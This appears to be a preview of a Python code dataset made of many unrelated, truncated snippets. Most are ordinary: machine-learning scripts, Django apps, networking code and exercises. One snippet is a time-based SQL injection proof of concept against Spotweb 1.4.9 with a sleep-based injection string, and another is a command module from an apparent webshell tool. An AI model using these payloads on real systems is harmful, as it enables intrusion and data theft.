text
stringlengths
38
1.54M
import time import base64 from binascii import hexlify import os import socket import sys import threading import traceback import paramiko from paramiko.py3compat import b, u, decodebytes class Server (paramiko.ServerInterface): addr=''; def __init__(self,addr): self.event = threading.Event(); self.addr=addr...
# function level from random import choice import json FOODS = [ 'pizza', 'burgers', 'salad', 'soup', ] def get_json(food): return json.dumps({'food': food}) def get_xml(food): return f'<response><food>{food}</food></response>' def format_function(accept=None): formats = { 'application/json': get_json...
import math import sys from scipy.stats import pearsonr, t import pandas as pd from .PySensemakr.sensemakr import sensitivity_stats def ils(fs, rf, instrument): """ Given first stage and reduced form regression models, produces the Indirect Least Squares (ILS) estimates. Also known as the "ratio estimate". :par...
import os import configparser import redis from passlib.context import CryptContext cur_path = os.path.abspath(os.path.curdir) print(cur_path) # 当前文件的父路径 father_path = os.path.abspath(os.path.dirname(cur_path) + os.path.sep + ".") print(father_path) # conf_path = os.path.join(os.path.join(cur_path, 'application'), 'et...
# Data Definitiosn Song = NamedTuple('Song', [('title', str), # song title ('artist', str), # artist who performs the song ('acousticness', float), # Confidence that song is acoustic [0.0,1.0] determined by Spotify ...
import pickle import warnings from copy import deepcopy from datetime import datetime from itertools import islice, tee, chain from os import listdir, remove from random import shuffle from collections import defaultdict import numpy as np import scipy as sp import json_io from nlp import * from dvs import DictVectori...
"""""" # Standard library modules. # Third party modules. # Local modules. from pypenelopetools.penelope.separator import Separator # Globals and constants variables. DOT = Separator('.') SOURCE_DEFINITION = Separator('>>>>>>>> Source definition.') MATERIAL = Separator('>>>>>>>> Material data and simulation parame...
import socket import time from network import NetworkEnvelope,VersionMessage,SimpleNode from io import BytesIO from random import randint from unittest import TestCase from block import Block from helper import ( hash256, encode_varint, int_to_little_endian, little_endian_to_int, read_varint, ) T...
#coding=utf-8 import cv2 as cv import os # from region_to_bbox import region_to_bbox import time import tensorflow as tf import yaml, json import numpy as np base_path =os.getcwd() import sys sys.path.append(os.path.join(base_path, 'implementation')) sys.path.append(os.path.join(base_path, 'pyMDNet/modules')) sys.path....
from pyspark import SparkConf, SparkContext from pyspark.sql import SQLContext from pyspark.sql.types import * from pyspark.ml.feature import HashingTF, IDF, Tokenizer from pyspark.ml.linalg import Vectors from pyspark.ml.classification import LogisticRegression, LogisticRegressionModel from nltk.stem.porter import * ...
import boto3 import botocore import time import logging import json import os import sys here = os.path.dirname(os.path.realpath(__file__)) sys.path.append(os.path.join(here, "./vendored")) from dotenv import load_dotenv dotenv_path = os.path.join(os.path.dirname(__file__), '.env') load_dotenv(dotenv_path) import...
from PIL import Image import os, glob import numpy as np # NumPyの警告が出るのでそれを無視する np.warnings.filterwarnings('ignore', category=np.VisibleDeprecationWarning) # 画像が保存されているディレクトリのパス image_path = './images' files = os.listdir(image_path) dirs = [] for f in files: if os.path.isdir(os.path.join(image_path, f)): ...
import numpy as np import cv2 import time import datetime datadir = "data/" #status = "0_order/" #order image #flag = "a" #status = "1_prewps/" #pre-open-wps image #flag = "b" #status = "2_wpsopen/" #open-wps image #flag = "c" #status = "3_docend/" #end page of doc image #flag = "d" status = "4_bug/" #bug image ...
import numpy as np import matplotlib.pyplot as plt import tqdm import pickle import env def inp_rates(_e, idx): la, ra = _e.obs() la = la.repeat(2) ra = ra.repeat(2) l_idx = np.arange(len(idx), step=2) r_idx = l_idx + 1 r = np.zeros(len(idx)) r[l_idx] = la r[r_idx] = ra return r ...
# Copyright 2014 Modelling, Simulation and Design Lab (MSDL) at # McGill University and the University of Antwerp (http://msdl.cs.mcgill.ca/) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at...
#!/usr/bin/env python3 # python modules import socket import json import base64 import requests import traceback # lightweight_tor modules import crypt import network import logger DIRECTORY_PORT = 3001 RELAY_PORT = 5002 FORWARDING_PORT = 7002 HASH_DELIMITER = b'###' DECRYPTED_AES_KEY = '' PRIVATE_KEY = '' def main...
import tensorflow as tf import os import Config from MTCNN4Iris import DSV4MTCNN from MTCNN4Iris.IrisPNet import IrisPNet from MTCNN4Iris.IrisONet import IrisONet import cv2 from ProcessOsirisSegmentedImage import PupilShrink import numpy as np import json import Utils import sys from MTCNN4Iris.PNetPredict import PNe...
import sys from platform import platform if 'generic' in platform(): sys.path.append('Desktop/') import vtk import types import signal from math import atan, degrees, pi from PyQt5.QtCore import Qt, QEvent, QTimer, QPointF from PyQt5.QtWidgets import QMainWindow, QApplication, QWidget, QPushButton, QToolBox from vt...
import os, sys #sys.path.append(os.path.join(os.getcwd(), '../')) import tensorflow as tf from tensorflow import keras from tensorflow.keras import backend as K from tensorflow.keras import losses from tensorflow.keras.callbacks import ModelCheckpoint, ReduceLROnPlateau, TensorBoard import numpy as np import pandas as ...
# -*- coding: utf-8 -*- """ Created on Fri Jan 29 11:31:53 2021 @author: ADMINISTRATOR """ def is_prime(x): if x < 2: return False elif x == 2: return True for n in range(2, x): if x % n ==0: return False return True print(is_prime(4)) for i in ...
from libs.config import alias, color, gget from libs.myapp import execute_sql_command @alias(_type="DATABASE") def run(): """ db_dbs Output all databases. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return print(execute_s...
import discord import random import asyncio import roles import channels import members import json from discord.ext import commands from discord.utils import get from discord.ext.commands import has_permissions from discord.ext.commands import CheckFailure class Addbackground(commands.Cog): def __init__(self, cl...
for i in range(11): print("imprimo el numero",i) try: print("Holo") print(1/0) except ZeroDivisionError: print("Error divisioón por cero") finally: print("el fianlly se ejecuta siempre")
# NLP written by GAMS Convert at 12/13/18 11:23:23 # # Equation counts # Total E G L N X C B # 15 15 0 0 0 0 0 0 # # Variable counts # x b i s1s s2s sc ...
t = int(raw_input()) for case_num in range(1, t + 1): s = raw_input() res = '' for i, ch in enumerate(s): if i == 0: res += ch else: if (res + ch > ch + res): res = res + ch else: res = ch + res print 'Case #%d: %s' % (c...
import re from record import Record class PageParser: def __init__(self, page): self.page = page def get_records(self, html): before, keyword, after = html.partition('ranking_einf') reduced, keyword, after = after.partition('pagination-centered') # print("REDUCED:", reduced) ...
#create folders: 'split_dataset', 'split_dataset/train_data', 'split_dataset/test_data' in folder 'snr' before #running this preprocessing. #Creating training and testing folders that will contain all classes and some pictures of each class import os import random import shutil old_path = 'raw_data' new_trai...
from pyexpat.errors import messages from django.shortcuts import render, redirect from .models import ProductSectionsDB, SkiDB, SnowboardBootsDB, SnowboardDB, SkiBootsDB # Create your views here. from django.http import HttpResponse from django.contrib.auth.forms import UserCreationForm, AuthenticationForm from django...
#libraries for client-server connection import socket import sys #libraries for real time detection with YOLO import cv2 import numpy as np import time #libraries for sending/receiving the frames import struct #interpret bytes as packed binary data import pickle #Python object serialization #libraries for cryptograp...
import sys class Nodo: def __init__(self, valor): self.__valor = valor self.__proximo = None def getValor(self): return self.__valor def setValor(self, valor): self.__valor = valor def getProximo(self): return self.__proximo def setProximo(self, proximo): self.__proximo = pro...
import logging from Katana import NodegraphAPI module_logger = logging.getLogger("katana_addons.Plugins.Register") module_logger.setLevel(logging.WARNING) try: import PassResolve except Exception, error: module_logger.error("Error importing PassResolve: {error_msg}".format(error_msg=error)) else: PassR...
#!flask/bin/python from flask import Flask, json, jsonify, request import requests import random import string #import timer app = Flask(__name__) @app.route('/') def index(): return "Hello World" @app.route('/authenticate') def authenticate(): keystone_url = "http://iam.savitestbed.ca:5000/v2...
class User(object): def __init__(self, name): self.name = name def work(self, cheat=False, done=False): msg = "[{}] : {}" if cheat: print(msg.format(self.name, "Great")) return True if done: print(msg.format(self.name, "OK")) else: ...
#!/usr/bin/python # eigenvalues.py # # Created by Travis Johnson on 2010-06-02. # Copyright (c) 2010 . All rights reserved. from __future__ import division from pylab import * from numpy import * from KoprivaMethods import * errlist = [] nVec=arange(32,32) nVec=[31] for N in nVec: xlgl, w = LegendreGaussNodesAndWeigh...
""" A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99. Find the largest palindrome made from the product of two 3-digit numbers. """ # The smartest option in this case seems to be starting with 999 and 999 and seeing if that product is...
__author__ = "luo" import logging import os import time import sys from colorama import Fore, Style class Logger(object): def __init__(self, logger): """ 生成日志 :param logger: 定义对应的程序模块名name,默认为root """ # 创建一个logger self.logger = logging.getLogger(name=logger) ...
import pandas as pd import numpy as np import csv def main(): df = load_data_frame() df = translate_data(df) def stagin_code(): X = df[["City", "Civil status"]] conditions = [ (X["City"] == "Big city"), (X["City"] == "Suburb"), (X["City"] == "Country")] choices = [1, 2, 3...
from pathlib import Path from lab.views import FilterRecord, Export, GetRecord from .models import Record from .forms import RecordForm from .tables import RecordTable, RecordTableFull from .filters import RecordFilter from full_cost.utils import manage_time from full_cost.utils.constants import ACTIVITIES ##########...
# coding=utf-8 # Copyright 2018-2020 EVA # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to ...
from urllib.request import Request, urlopen from bs4 import BeautifulSoup from config import log def find_url_hamiltonwatch(art: str) -> str: ''' Description: finds the url on the site by article Input: article Output: desired url ''' url = 'https://www.hamiltonwatch.com/ru-ru/catalogsea...
def init_sum (board) : h, w = len(board.cases_tab), len(board.cases_tab[0]) def find_point (x, y, board): case = board.cases_tab[y][x] if case != 0 and case.state == 1 and case.score == 1 : dirs = [[1, -1], [2, 0], [1, 1], [-1, 1], [-2, 0], [-1, -1]] def advance(x, y...
from django.urls import path from .views import show_list from .views import show_item urlpatterns = [ path('menu/<str:slug>/', show_list, name='show_list'), path('<str:slug>/', show_item, name='show_item'), ]
import pandas as pd from acquire import acquire_logs from acquire import acquire_cohorts def prepare_logs_all(df): ''' Takes in a raw curriculum log dataframe and converts column headers to meaningful labels, and combines the separated date and time columns into a single column that is set as a datetime in...
from ._version import get_versions __author__ = 'Aris Pikeas' __email__ = 'aris.pikeas@vizio.com' __version__ = get_versions()['version'] import logging logging.getLogger(__name__).addHandler(logging.NullHandler())
import sys import requests ## ## POC for Time-Based SQL Injection on Spotweb Version 1.4.9 ## Discovered and Exploited by: @BouSalman ## @2020 def get_version_length(ip): for i in range(5,50): injection_string = "cat0_z0_c')+OR+(SELECT+1+FROM+(SELECT+case+when+length(version())+=+%d+then+sleep(3)+else+...
#!/usr/bin/env python3 import sys import os import numpy import numpy.linalg import scipy.misc def getOutputPngName(path, rank): filename, ext = os.path.splitext(path) return filename + '.' + str(rank) + '.png' def getOutputNpyName(path, rank): filename, ext = os.path.splitext(path) return filename +...
# This is a test file. # 导入时间库,下面可以用它来控制程序休眠,进而记录真实时间 import time # 目标计时时间 target_time = 300 # 再声明一个变量,用来记录初始时间 keep_time = 0 # 因为我们并不在while后控制循环的结束,所以这里将条件永远设置为真 # 但是这个时候需要注意的是,一定要在while代码块中明确循环跳出的条件,并且这个条件一定会在某一时刻达到,否则就会变成死循环。 while True: # 首先确定循环跳出的条件 if keep_time > target_time: break # keep_...
import os import datetime import loaihanghoa import hanghoa_real danhsachhanghoa_nhapkho = [] '''NHAP KHO HANG HOA''' def load_hanghoa_nhapkho(): files = os.listdir("danhmuc") if "hanghoa_nhapkho.csv" not in files: return with open('danhmuc/hanghoa_nhapkho.csv', 'r') as f: line = f.readline() whil...
#!/bin/python3 import sys def migratoryBirds(n, ar): ar.sort() # Complete this function max = 1 maxIndex = 0 counting = dict([val,0] for val in ar) for val in ar: counting[val] += 1 if counting[val] > max: max = counting[val] maxIndex = val return ma...
def solution(numbers, hand): answer = '' key=dict() key[0],key[1],key[2],key[3],key[4],key[5],key[6],key[7],key[8],key[9]=[3,1],[0,0],[0,1],[0,2],[1,0],[1,1],[1,2],[2,0],[2,1],[2,2] left,right=[3,0],[3,2] for number in numbers: if number==1 or number==4 or number==7: answer+...
class Car: # class veriables vehicle_type = "suy" model = "S90" print('Ok') # Constructor method with instance variables brand and cost def __init__(self, brand, cost): self.brand=brand self.cost=cost # Method with instance varible followers def fan_follow(self, follow): print("This user has " + str(foll...
""" Data loader with data augmentation. Only used for training. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from os.path import join, basename from glob import glob import tensorflow as tf from src.tf_smpl.batch_lbs import batch_rodrigues from src....
import pandas as pd def merge(): df1 = pd.read_csv("ts-tpds.csv", header=0, index_col=0) print("数量", len(df1)) df_p1 = df1.sample(n=50000, replace=False) df_p1.to_csv("ts-tpds-part1.csv") df1.drop(df_p1.index) print("1") df_p1 = df1.sample(n=50000, replace=False) df_p1.to_csv("ts-tp...
''' @author: Kaiwen Luo (k0l06rk) this file holds the code for an pack class aka, pack that will be diverted to each decanting station ''' class Pack(object): def __init__(self, sku:list = None): self.index = 10000 self.skus = sku def getSkus(self): return self.skus ...
import math numbers = {1:'one', 2:'two', 3:'three', 4:'four', 5:'five', 6:'six', 7:'seven', 8:'eight', 9:'nine', 10:'ten', 11:'eleven', 12:'twelve', 13:'thirteen', 14:'fourteen', 15:'fifteen', 16:'sixteen', 17:'seventeen', 18:'eighteen', 19:'nineteen', 20:'twenty', 30:'thirty', 40:'forty', 50:'fifty', 60:'sixt...
import pygame, math class Script_Commands: def Pace(Entity, Points, Time, Wait, End): pass def Triangle(Entity, Time, Points): pass class Quests: pass
from django.db import models import datetime # Create your models here. class ResourcePerson(models.Model): DEPARTMENT_CHOICES=( ('BIO','Biological Sciences'), ('CHE','Chemical'), ('CHEM','Chemistry'), ('CE','Civil'), ('CS','Computer Science'), ('EEE','Electical and...
# # Copyright (c) 2013, Prometheus Research, LLC # from rex.core import Error, MaybeVal, UChoiceVal, SeqVal from .fact import Fact, LabelVal, QLabelVal, PairVal from .model import model import collections class IdentityFact(Fact): """ Describes identity of a table. `table_label`: ``unicode`` Th...
# Generated by Django 3.0.2 on 2020-02-14 09:12 import django.contrib.postgres.fields.jsonb import django.db.models.deletion from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("cases", "0019_auto_20200120_0604"), ("algorithms", "0019_auto_20200210_0...
# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-04-03 23:49 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='bot_se...
# coding:utf8 import re import sys reload(sys) sys.setdefaultencoding("utf-8") # 业务配置 REGULAR_MATCH = { "user_name": ur'^[\u4E00-\u9FA5\uf900-\ufa2d\·]+$', "user_mobile": ur'^1[34578]\d{9}$', "community_name": ur'^[\u4E00-\u9FA5\uf900-\ufa2d\#\-\-\_\–\*\#\(\)\#\—\*\(\)\w]+$', "house_number": ur'^[\u4E0...
sponsorArray = {"Sportsco": None, "Kate's Coffee": None, "Tourism Board": None, "Nate's Kitchen": None, "Fashion Haus": None} audienceArray = {"Fitness": None, "Hipster": None, "Lifestyle": None, "Fashion": None} locationArray = {"Cafe": ["cafeBG", "cafeButton"], "Gallery": ["galleryBG", "galleryButton"], "Bedroom": ...
from src.globals import rnd import sys class NUM: def __init__(self, at = 0,txt = ""): self.at = at self.txt = txt self.mu = 0 self.n = 0 self.m2 = 0 self.sd = 0 self.hi =-1*sys.maxsize self.lo = sys.maxsize try: self.w = self.txt.i...
number = 70 if (number < 100 or number >= 300) and (number % 3 == 0 or number % 7 == 0): if (number % 3 == 0 and number % 7 == 0): print("Divisible by both") elif (number % 3 == 0): print("Divisible by 3") else: print("Divisible by 7") else: print("Not a special number") p...
from math import trunc, ceil, floor, cos, sin from bitmap import Bitmap, color import obj as obj import random as ran x = lambda v0, v1, y: v0[0] - ((v0[1]-y)*(v0[0]-v1[0])/(v0[1]-v1[1])) def cross_product(v1, v2): return [ v1[1]*v2[2] - v1[2]*v2[1], v1[2]*v2[0] - v1[0]*v2[2], v1[0]*v2[1] ...
import pkgutil from typing import Iterable, Text __path__ = pkgutil.extend_path(__path__, __name__) # type: Iterable[Text]
from django.shortcuts import render # from django.http import HttpResponse from django.http import HttpResponseRedirect from AppTwo.models import User from AppTwo import forms # Create your views here. def index(request): return render(request, 'AppTwo/index.html') def help(request): dict = {'something': 'Hel...
# . 定义一个字典类:dictclass。完成下面的功能: # dict = dictclass({你需要操作的字典对象}) # ① 删除某个key,并返回删除后的字典 # del_dict(key) # ② 判断某个键是否在字典里,如果在,返回键对应的值,不存在则返回"not found" # get_dict(key) # ③ 返回键组成的列表:返回类型;(list) # get_key() # ④ 合并字典,并且返回合并后字典的values组成的列表。返回类型:(list) # update_dict({要合并的字典}) # # class Dictclass(): # def __init__(self,dic...
# __name__ 변수 # 모듈의 이름이 문자열로 들어있는 변수 # module1.py => 'module1' # 단, 실행할때 사용한 모듈에서는 모듈의 이름이 아니라 __main__이라는 문자열이 들어있다. print(f'main __name__ : {__name__}') import module1 # 실행할때 사용하는 모듈이라고 하더라도 나중에느 다른 모듈에서 가져다 사용할 때가 있을 수 있기 때문에 # if 문을 넣어주는것이 관례 이다 if __name__ == '__main__': r1 = module1.add(100,200) r2 = ...
# coding=utf-8 r""" This code was generated by \ / _ _ _| _ _ | (_)\/(_)(_|\/| |(/_ v1.0.0 / / """ from twilio.base import deserialize from twilio.base import values from twilio.base.instance_context import InstanceContext from twilio.base.instance_resource import InstanceResource from twilio.base...
from enum import Enum from typing import Any, Dict, NamedTuple from pydantic import BaseModel class MessageType(str, Enum): location = "LOCATION" map = "MAP" ride_requested = "RIDE_REQUESTED" ride_request_accepted = "RIDE_REQUEST_ACCEPTED" ride_request_declined = "RIDE_REQUEST_DECLINED" ride_...
# -*- coding: utf-8 -*- # Generated by Django 1.10.3 on 2018-10-02 11:49 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('tweets', '0001_initial'), ] operations = [ migrations.AlterModelOptions( ...
import sys import math import numpy as np import pandas as pd import plotly.express as px from sklearn.linear_model import LinearRegression from sklearn.model_selection import train_test_split from datetime import date from datetime import datetime import visuals_and_graphics as vag from process import process def ad...
#!/usr/bin/env python # -*- coding: UTF-8 -*- '''================================================= @Author :Pabebe @Date :2020/8/28 21:15 @Description : ==================================================''' # 确认当前所在目录 应该在BarkMessage的上一级 import os if 'BarkMessage' in os.getcwd(): os.chdir('D:/PyCharm 2020.1.2/wo...
# importação simples import prato import detergente import garrafa # declarando as classes prato1 = prato.Prato('prato1',300) prato1.cor('verde') prato2 = prato.Prato('prato2',250) prato2.cor('azul') prato3 = prato.Prato('prato3',350) prato3.cor('amarelo') garrafa1 = garrafa.Garrafa('garrafa1') garrafa1.volume(500)...
# Generated by Django 2.1.7 on 2019-03-15 22:41 from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Category'...
# # Copyright 2014, NICTA # # This software may be distributed and modified according to the terms of # the BSD 2-Clause license. Note that NO WARRANTY is provided. # See "LICENSE_BSD2.txt" for details. # # @TAG(NICTA_BSD) # '''Compilation caching infrastructure for the code generator. Nothing in here is actually CAmk...
# -*- coding: utf-8 -*- """ Created on Mon Oct 29 00:05:11 2018 @author: prabhudayala """ # -*- coding: utf-8 -*- """ Created on Mon Oct 29 00:01:47 2018 @author: prabhudayala """ # -*- coding: utf-8 -*- """ Created on Sun Oct 28 15:28:23 2018 @author: prabhudayala """ import sqlite3 import pandas as pd import nl...
import logging from tornado.ioloop import IOLoop from tornado import gen from tornado.iostream import StreamClosedError from tornado.tcpserver import TCPServer from tornado.options import options, define define("port", default=9888, help="TCP port to listen on") logger = logging.getLogger(__name__) class ...
from time import sleep, strftime import matplotlib.pyplot as plt from drawnow import drawnow import auxiliary as aux import numpy as np import pyaudio import visa #function to get the signal def linSignal(): sinal = np.float32(np.frombuffer(stream.read(CHUNK, exception_on_overflow=False), np.int16)) return au...
import stack def parenthesisCheck(symbols): """ Function to check if the given parentesis are balanced or not. """ s = stack.Stack() index = 0 balanced = True while index < len(symbols): symbol = symbols[index] if symbol in '{[(': s.push(symbol) else: ...
import os import glob import shutil import re import pickle import datetime readF = open('./list.txt', 'rb') add = False list = [[0 for col in range(100)] for row in range(50)] list = pickle.load(readF) #print(list) readF.close() def makeDir(nm): check = True for f in os.listdir("./"): if f == nm: ...
num1=float(input("Enter the first number ")) num2=float(input("Enter the second number ")) num3=float(input("Enter the third number ")) num4=float(input("Enter the fourth number ")) num5=float(input("Enter the fifth number ")) if (num1>num2) and (num1>num3) and (num1>num4) and (num1>num5): largest=num1 elif (num2>n...
from os import listdir from os.path import isfile, join import os import json import config from cachecontrol import CacheControl class Worker: FTP_LOCAL_PATH = config.DATASOURCES['ftp_ds']['local_path'] EXTRACTED_PATH = config.GENERAL['extracted_path'] # read from downloaded path def __read_downlo...
""" A class to control the facilities management of the SGSC """ from .Fence import Fence from .Sensors import Sensors class Facilities: _fence = Fence() _sensors = Sensors() _ideal_fence = [0, 0, 0, 0] _ideal_sensors = [0, 0, 0, 0] # check_break will check if any of the current sensors for tri...
from .dataprocessor import * class Sampler(RSDataProcessor): def __init__(self, features2process, name=''): RSDataProcessor.__init__(self, features2process, name, 'blue', 'yellow', 'highlight') self.b_refitted = False def _sample(self, data, features, label): self.error('Not implement...
from Convert8bit import * from OtsuBinarize import * def main(): print("converting to 8bit...\n") convert8bit('playData/fullData/', 'playData/tmp/') print("converted to 8bit\n") print("binarizing the images...\n") OtsuBinarize('playData/tmp/', 'playData/fullProcessedData') print("images binarized\n") m...
from django.urls import path, include, re_path from . import views app_name = "aulas" urlpatterns = [ path('criarNovaAula/', views.criarNovaAula, name = 'criarNovaAula'), path('', views.aulasList, name = 'aulasList'), path('aula/<int:pk>/', views.aula, name = 'aula'), path('criarCurso/', views.criarCu...
# SPDX-License-Identifier: Apache-2.0 import logging import os from os.path import basename import io import hashlib # filenames to ignore altogether, and not include in reports IGNORE_FILENAMES = [ ".DS_Store", ] # extensions to report on, but skip scanning SKIP_EXTENSIONS = [ ".gif", ".png", ".jpg"...
''' 18. Fazer um sistema de compras (Deve mostrar um dicionário com os objetos (Nome, Preço e Cor), pedir o nome do usuário e fazer com o que o usuário selecione um objeto e imprimir a compra na tela) ''' # [{'Nome: ': 'werwer', 'Telefone: ': 654, 'Endereço: ': 'wer'}, {'Nome: ': 'ghfgh', 'Telefone: ': 13...
import models.app_models.variable_models.boolean_variable_model as b_var import models.app_models.variable_models.date_variable_model as d_var import models.app_models.variable_models.float_variable_model as f_var import models.app_models.variable_models.int_variable_model as i_var import models.app_models.variable_mod...
from Object.Component.NetworkComponent import * class XavierNetworkComponent(NetworkComponent): def __init__(self, objectType: ObjectType, hostAddress: SocketAddress) -> None: super().__init__(objectType, hostAddress) self.jetbotPositions = list() self._storage.add(MessageType.INFO...
import CaseManager as cm from sklearn.neighbors import KNeighborsClassifier from sklearn.svm import SVC from sklearn.ensemble import RandomForestClassifier from sklearn.metrics import confusion_matrix import sklearn.metrics from sklearn.neural_network import MLPClassifier class Classifier: def __init__(self): ...
from django.contrib import admin class BaseOwnerAdmin(admin.ModelAdmin): """ 1.用来自动补充文章、分类、标签、侧边栏、友链这些model的owner字段 2.用来针对queryset过滤当前用户数据 """ exclude = ('owner', ) def get_queryset(self, request): qs = super(BaseOwnerAdmin, self).get_queryset(request) return qs.filter(owner=r...
""" train Methods for training models. Author: Aaron Berk <aberk@math.ubc.ca> Copyright © 2020, Aaron Berk, all rights reserved. Created: 15 June 2020 """ import pdb import logging import torch from torch import nn, optim import torch.nn.functional as F from ignite.engine import Engine, Events, _prepare_batch from i...
import pytest from google.cloud import firestore from fireo.fields import TextField from fireo.models import Model # first try with implicit ID model, "unitialized" # can we use the model to query before using the model to save or get? def test_issue_168_implicit_id_unitialized(): class TestIssue168Model(Model)...
""" PyAudio Example: Play a wave file in real time""" from __future__ import division from pyaudio import * from scipy.io.wavfile import read from time import sleep import sys # Your callback will be called every $(blocksize) samples. Small block sizes # (i.e. <4) can introduce clicking noises if the callback functio...
#pylint: disable=C0103,W0105,broad-except,logging-not-lazy,W0702,C0301,R0902,R0914,R0912,R0915 """ Configuration file for CRAB standalone Publisher """ from __future__ import division from WMCore.Configuration import Configuration config = Configuration() config.section_('General') config.General.asoworker = 'asopro...
#! /usr/bin/env python3 # define some variables job = 'Trinity-assembly' queue = 'med16core' time = 3 # this is in hours nodes = 1 # num nodes ppn = 1 # num ppn print('#SBATCH -J', job)#Job name print('#SBATCH --partition comp06') print('#SBATCH -o', job +'.txt')#set the name of the output file print('#SBATCH -e', j...
# ''' # pilots.py # Methods to create, use, save and load pilots. Pilots # contain the highlevel logic used to determine the angle # and throttle of a vehicle. Pilots can include one or more # models to help direct the vehicles motion. # ''' import tensorflow as tf import numpy as np import json from parts.tools im...